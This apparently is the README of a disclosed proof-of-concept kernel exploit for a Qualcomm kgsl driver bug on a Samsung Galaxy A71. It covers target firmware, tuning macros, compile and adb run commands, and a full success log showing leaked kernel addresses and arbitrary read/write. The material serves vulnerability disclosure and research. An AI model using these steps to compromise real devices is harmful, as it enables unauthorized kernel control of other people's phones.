The write up can be found here. This is a bug in the Qualcomm kgsl driver I reported in July 2020. The GitHub Advisory can be found here. The bug can be used to gain arbitrary kernel code execution, read and write from the untrusted app domain.
The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXU3ATJ2, Baseband A715FXXU3ATI5 and Kernel version 4.14.117-19828683. The offsets in the exploit refers to that version of the firmware. For different models of phones, the macro DMA_ADDRESS, which indicates the address of the SWIOTLB buffer, will also need to be changed. In the case where the race condition failed regularly, the macro DELAY can be adjusted, although the default value seem to work well on different models. It also requires the phone to have more than 4GB of total ram (not free memory), as it needs to be able to allocate ion buffers with addresses higher than 32 bit. Phones with 4GB of ram may be exploitable, although the ion heap spray parameter will need to change and even in that case, the exploit is unlikely to be reliable. I also received some feedback that the compiler and compile options affect the reliability. For reference, I used the following command to compile with clang in ndk-21:
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang kgsl_exploit_slab_a71.c -o kgsl_exploit_stable
The exploit is reasonably reliable, although it does need to wait a few minutes after start up, after the kernel activities settled down before running.
The most likely cause of failure is when it failed to locate the file structs after 5 retries. In this case there is no adverse effect and the phone will not crash. However, running the exploit immediately is unlikely to succeed and it usually requires waiting for a bit or doing something else to reorganize the heap before running it again.
To test, cross compile the file kgsl_exploit_slab_a71.c and then execute with adb:
adb push kgsl_exploit_slab_a71 /data/local/tmp
adb shell
a71:/ $ /data/local/tmp/kgsl_exploit_slab_a71
If succeeded, it will run a eBPF program to write and read to an address and confirm the successful read and write:
rpc opened
[+] reallocation data initialized!
[ ] initializing reallocation threads, please wait...
[+] 8 reallocation threads ready!
micros_used: 19432
[+] REALLOC THREAD finished
[+] REALLOC THREAD finished
[+] REALLOC THREAD finished
[+] REALLOC THREAD finished
[+] REALLOC THREAD finished
[+] REALLOC THREAD finished
[+] REALLOC THREAD finished
[+] REALLOC THREAD finished
[+] Read/Write operation succeeded
[+] syncing bounce buffers
done read 0
[+] Found null_fops at 2 region offset 32 ffffff80099d9788
null file addr: ffffffc12a993058
[+] ion region location: ffffffc12a992000
[+] bpf addr: ffffff8008317088
overwrite fops ffffff80099d9788
overwrite fops 0
[-] Failed to find dma_buf_fops
[+] syncing bounce buffers
[+] reallocation data initialized!
[ ] initializing reallocation threads, please wait...
[+] 8 reallocation threads ready!
micros_used: 19938
[+] REALLOC THREAD finished
[+] REALLOC THREAD finished
[+] REALLOC THREAD finished
[+] REALLOC THREAD finished
[+] REALLOC THREAD finished
[+] REALLOC THREAD finished
[+] REALLOC THREAD finished
[+] REALLOC THREAD finished
[+] Read/Write operation succeeded
running bpf program
bpf_data 0x3039
[+] successful read